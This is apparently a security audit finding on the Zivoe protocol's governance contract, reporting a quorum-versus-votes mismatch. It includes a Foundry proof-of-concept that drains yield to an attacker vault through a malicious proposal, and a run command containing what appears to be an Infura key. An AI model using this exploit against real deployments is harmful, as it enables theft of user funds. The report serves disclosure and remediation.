Helpful Mercurial Finch

high

# Only ZVE is considered by the `quorum()`, while `_getVotes` gets votes from ZVE, vestZVE, and stZVE, allowing users to easily pass the quorum threshold and run critical actions by themselves

## Summary

Only ZVE is considered by the quorum(), while _getVotes gets votes from ZVE, vestZVE, and stZVE, allowing users to easily pass the quorum threshold and run critical actions by themselves.

## Vulnerability Detail

According to the design of the deployment and contract dynamics in Zivoe, the timelock (TLC) contract becomes an owner of a several contracts during deployment:
- `ZivoeDAO` contract
- `ZivoeTranches` contract

As a result, this is a non-exhaustive list of restricted functions that can be called by TLC contract:
- ZivoeTranches::updateLowerRatioIncentiveBIPS
- ZivoeTranches::updateMaxTrancheRatio
- ZivoeTranches::updateMaxZVEPerJTTMint
- ZivoeTranches::updateMinZVEPerJTTMint
- ZivoeTranches::updateUpperRatioIncentiveBIPS
- ZivoeYDL::updateDistributedAsset
- ZivoeYDL::updateProtocolEarningsRateBIPS
- ZivoeYDL::updateRecipients
- ZivoeYDL::updateTargetAPYBIPS
- ZivoeYDL::updateTargetRatioBIPS
- OCE_ZVE::updateDistributionRatioBIPS
- OCE_ZVE::updateExponentialDecayPerSecond
- OCL_ZVE::updateCompoundingRateBIPS
- OCR_Modular::updateRedemptionsFeeBIPS

The timelock contract address cannot be updated because there is no function for that in any of the contracts. Once `ZivoeGTC` gets deployed, the timelock contract's address will registered permanently and there is no way to change that. The only way would be to deploy the entire protocol again to new addresses if something goes wrong.

The reason we are talking about the timelock contract is that if the protocol governance can somehow be compromised, all these functions are under danger. 

And it turns out to be the case. `quorum()` is only calculated from the total supply of ZVE, and does not include that of stZVE and vestZVE, whereas `_getVotes` returns the sum of votes using all three tokens:

```solidity
constructor(IVotes _token, ZivoeTLC _timelock, address _GBL)
        Governor("ZivoeGovernorV2") GovernorSettings(1, 3600, 100000 ether)
        GovernorVotes(_token) GovernorVotesQuorumFraction(10) ZivoeGTC(_timelock) { GBL = _GBL; }
```

As we can see above, the constructor of `ZivoeGovernorV2` only takes one `IVotes _token`, which is always ZVE. But `_getVotes` is:

```solidity
function _getVotes(
        address account,
        uint256 blockNumber,
        bytes memory /*params*/
    ) internal view virtual override(Governor, GovernorVotes) returns (uint256) {
        return token.getPastVotes(account, blockNumber) + 
            IZivoeRewardsVesting_ZVG(IZivoeGlobals_ZVG(GBL).vestZVE()).getPastVotes(account, blockNumber) +
            IZivoeRewards_ZVG(IZivoeGlobals_ZVG(GBL).stZVE()).getPastVotes(account, blockNumber);
    }
```

So as we can see, `token` MUST be ZVE (otherwise it's just another vulnerability), and we count votes from all three tokens.

Finally, `GovernorVotes`, inherited by `ZivoeGovernorV2`, implements `quorum()`:

```solidity
function quorum(uint256 blockNumber) public view virtual override returns (uint256) {
        return (token.getPastTotalSupply(blockNumber) * quorumNumerator(blockNumber)) / quorumDenominator();
    }
```

It takes exactly one `token` only. And that is ZVE as we saw. So that means while quorum is only calculated using `ZVE`, users can vote using stZVE, vestZVE and ZVE.

Then, it's much easier for stZVE and vestZVE holders to control the outcome of a proposal. In particular, people will actually want to stake all their ZVE to receive stZVE because this reduces the total supply of ZVE, which means even less quorum is needed to pass a proposal. 

For example, 10% of 100 ZVE is 10 ZVE. So 10 ZVE is the quorum, given `10% = quorumNumerator/quorumDenominator`. However, if some people stake 70 ZVE, then 10% of the remaining 30 ZVE is 3 ZVE. So only 3 out of 70 stZVE is now needed to pass a proposal (remember stZVE & vestZVE is not included as a part of the quorum calculation, which is the cause of this entire bug)

Let's give another example where vestZVE holder is able to steal funds from `ZivoeYDL` contract, with POC. Go to https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-testing/src/TESTS_Core/Test_ZivoeGovernorV2.sol and copy and paste this test at the bottom of the contract:
```solidity
    function test_attack() public {
        address poeVault = address(0x1123123124125125125);

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 1. Fast forward to distribution date
        // Fast forward to the distribution date 
        // (don't ask me why 60 days, we will cover this in another issue)
        hevm.warp(block.timestamp + 60 days);
        hevm.roll(block.number + 1);

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 2. Simulate earnings of 1000 DAI, forwarded from lockers
        mint("DAI", address(YDL), 1000 ether);
        assertEq(ERC20(DAI).balanceOf(address(YDL)), 1000 ether);
        assertEq(ERC20(DAI).balanceOf(poeVault), 0);

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 3. Check that Only ZVE is used for quorum calculation.
        // stZVE and vestZVE are not included, which is incorrect.
        // also check the quorum is 10% of totalSupply of ZVE initially,
        // which gives us some advtantage.
        // 
        // Total 2500000 votes are needed for a proposal to go through
        assertEq(
            ZVE.totalSupply(), 2500000 ether * 10
        );
        assertEq(
            ZVE.totalSupply() * GOV.quorumNumerator() / GOV.quorumDenominator(),
            GOV.quorum(block.number - 1)
        );
        assertEq(
            ZVE.totalSupply() * GOV.quorumNumerator() / GOV.quorumDenominator(),
            2500000 ether
        );

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 4. Give Poe 2500000 vestZVE.
        assert(zvl.try_createVestingSchedule(
            address(vestZVE), 
            address(poe), 
            100,  // 100 Day Cliff
            300,  // 300 Day Total
            2500000 ether,  // Amount to vest. Set as 10% of total supply of ZVE deliberately
            false
        ));

        hevm.warp(block.timestamp + 1 seconds);
        hevm.roll(block.number + 1);

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 5. Check that the quorum stays the same
        // which means that vestZVE are not included in the quorum calculation.
        // which introduces the attack vector.
        // if the total supply of vestZVE and stZVE are included in the quorum like:
        // (ZVE.totalSupply() + stZVE.totalSupply() + vestZVE.totalSupply()) * GOV.quorumNumerator() / GOV.quorumDenominator()
        // then obviously you would need a lot more vote for the proposal to be passed.
        assertEq(
            ZVE.totalSupply(), 2500000 ether * 10
        );
        assertEq(
            ZVE.totalSupply() * GOV.quorumNumerator() / GOV.quorumDenominator(),
            GOV.quorum(block.number - 1)
        );
        assertEq(
            ZVE.totalSupply() * GOV.quorumNumerator() / GOV.quorumDenominator(),
            2500000 ether
        );

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 6. Poe, noticing his superpower, decides to run a quick attack while
        // maybe Zivoe team is away at Saturday night, so it will be unlikely that
        // they would cancel the proposal by detecting it.
        address[] memory targets = new address[](4);
        targets[0] = address(YDL);
        targets[1] = address(YDL);
        targets[2] = address(YDL);
        targets[3] = address(YDL);
        uint256[] memory values = new uint256[](4);
        values[0] = 0;
        values[1] = 0;
        values[2] = 0;
        values[3] = 0;
        bytes[] memory calldatas = new bytes[](4);

        address[] memory recipients = new address[](1);
        recipients[0] = poeVault;
        uint256[] memory proportions = new uint256[](1);
        proportions[0] = 10_000;

        calldatas[0] = abi.encodeWithSignature(
            // Update protocol earnings recipient as Poe's vault only
            "updateRecipients(address[],uint256[],bool)",
            recipients, proportions, true
        );
        calldatas[1] = abi.encodeWithSignature(
            // Update protocol earnings rate as 90%
            "updateProtocolEarningsRateBIPS(uint256)",
            9000
        );
        calldatas[2] = abi.encodeWithSignature(
            // Update residual earnings recipient as Poe's vault only
            "updateRecipients(address[],uint256[],bool)",
            recipients, proportions, false
        );
        calldatas[3] = abi.encodeWithSignature(
            // Don't give any money to tranches, Poe's vault will take it all
            "updateTargetAPYBIPS(uint256)",
            0
        );
        string memory description = "I will distribute money myself to anyone that votes for me";

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 7. Poe shouldn't even be allowed to propose this because he doesn't hold any ZVE,
        // but since _getVotes includes the balance of vestZVE, he can.
        // he proposes a malicious proposal.
        assertEq(ERC20(ZVE).balanceOf(address(poe)), 0);
        hevm.startPrank(address(poe));
        (uint256 proposalId) = GOV.propose(targets, values, calldatas, description);
        hevm.stopPrank();

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 8. Poe waits for one block, which is the initial voting delay set by the protocol
        hevm.roll(block.number + GOV.votingDelay() + 1);
        assertEq(uint(GOV.state(proposalId)), 1);  // "1" = Enum for Proposal.Active

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 9. Poe uses his vestZVE to vote for the proposal
        hevm.startPrank(address(poe));
        GOV.castVote(proposalId, uint8(1)); // 0 = Against, 1 = For, 2 = Abstain
        hevm.stopPrank();

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 10. Poe waits for the proposal deadline, which is 3600 blocks away.
        // Given the average of Ethereum, which is 12 seconds, it will take about:
        // 3600 * 12 = 43200 seconds = 12 hours for Poe to pray and wait for the proposal to pass
        // while Zivoe team doesn't notice it hopefully.
        hevm.roll(block.number + GOV.proposalDeadline(proposalId) + 1);

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 11. Proposal is now passed, Poe can queue it.
        assertEq(uint(GOV.state(proposalId)), 4);  // "4" = Enum for Proposal.Succeeded
        GOV.queue(targets, values, calldatas, keccak256(bytes(description)));

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 12. Unfortunately due to timelock, Poe needs to wait 12 hours more 
        // (timelock contracts's initial min delay as per deploy code).
        // Hopefully Zivoe team is having a weekend off.
        hevm.warp(block.timestamp + TLC.getMinDelay() + 1 seconds);
        hevm.roll(block.number + 1);

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 13. Finally, Poe executes the attack
        assert(poe.try_executeBatch(address(TLC), targets, values, calldatas, 0, keccak256(bytes(description))));

        // @@@@@@@@@@@@@@@@@@@@@@@@@@@
        // 14. Send all the yield to Poe!
        YDL.distributeYield();
        assertEq(ERC20(DAI).balanceOf(address(YDL)), 0);
        assertEq(ERC20(DAI).balanceOf(poeVault), 1000 ether);
    }
```

Run the test using:

```console
forge test --rpc-url https://mainnet.infura.io/v3/f0d515d2debb4c3eb3ce6ba2b07cd0d3 --match-contract Test_ZivoeGovernorV2 --match-test test_attack -vvvv
```

And verify that the test passes:

<img width="1169" alt="image" src="https://github.com/sherlock-audit/2024-03-zivoe-9oelm/assets/22465806/48c82028-7c89-4de7-b37d-fcae796bc56a">

Each step of the attack is explained in the annotations in the code. Please have a look at them. But to summarize just once more, Poe is able to transfer 1000 DAI from YDL contract to his vault by passing, waiting for, and executing a proposal by using his illegal voting power originating from his vestZVE holdings.

## Impact

- Loss of protocol integrity and dynamics (for ex, when the time comes to voting for an important governance proposal, people will always just stake their ZVE to mathematically exaggerate their voting power, as previously discussed)
- Potentially critical actions including theft of protocol's money might be proposed and executed due to quorum being significantly deflated from the true number.
- It is significantly easier to control (veto/approve) a proposal, because two other tokens that are not included as a part of the quorum calculation can be used to vote.
- The only hurdle is the Timelock contract, which makes an attacker (or a group of attackers in cahoots) wait for about 24 hours given the default deployment setting according to the codebase provided. During these 24 hours, Zivoe labs has a chance to cancel the proposal forcefully.
- However, it is very easy to make it very hard to pass any proposal, because you can't cancel vetos. This again renders protocol's governance very much useless.

## Code Snippet

https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeGovernorV2.sol#L62-L64

## Tool used

Manual Review

## Recommendation

The fix would be to calculate the quorum as `(ZVE.totalSupply() + stZVE.totalSupply() + vestZVE.totalSupply()) * GOV.quorumNumerator() / GOV.quorumDenominator()`. 

OR.. if the protocol intended only to use ZVE as a voting token, then remove stZVE and vestZVE in `_getVotes`.